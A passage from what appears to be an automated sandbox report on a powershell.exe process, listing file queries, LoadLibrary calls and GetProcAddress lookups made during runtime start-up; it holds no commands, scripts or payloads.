"C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00001412-00000C15-700133317 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00001412-00000C15-700293340 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00001412-00000C15-700386098 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00001412-00000C15-70043494128:T2e47,"powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\86af2f4f2745738837c95f24472c32ca\Microsoft.PowerShell.ConsoleH (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\ea893d7e336a196c927c3f1251a1d1a9\System.Management.Automation. (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\f4889fa032f8023fe280a54700d6d3a5\Microsoft.Management.Infrastr (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\6287e09015a311a64c4fe0304818f8c3\System.Management.ni.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\2d1ff2ab3131de6a507f22ccc53b273a\System.DirectoryServices.ni.d (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\f0078c8c05b31633e5966c5629e65602\System.Xml.ni.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\bf3d2e6042d943e0fec9ccc0d72c8f3b\System.Data.ni.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\2a25b59872a72da9b55f952ab1b0bc8b\System.Configuration.ni.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\49750ea038273f75321e479ef1525d1e\Microsoft.PowerShell.Security (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\dd0ed795d7234a2ae4314de052867161\System.Transactions.ni.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MPCLIENT.DLL (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpLics.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\9494eda0c9af503cb61fe450b5ba9c1a\Microsoft.PowerShell.Commands (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\b4c34523c582146dea3ca389e3487145\System.Configuration.Install. (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\468fa5ae84991aaf4d90ecee8788f024\Microsoft.PowerShell.Commands (UID: 00000000-00001412) "powershell.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00001412)29:T9319,"powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter RtlRegisterFeatureConfigurationChangeNotification (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter RtlDisownModuleHeapAllocation (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter RtlQueryFeatureConfiguration (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter RtlDllShutdownInProgress (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter LogStagedFeatureUsage (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter RtlVirtualUnwind (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetWindow (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00001412) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW 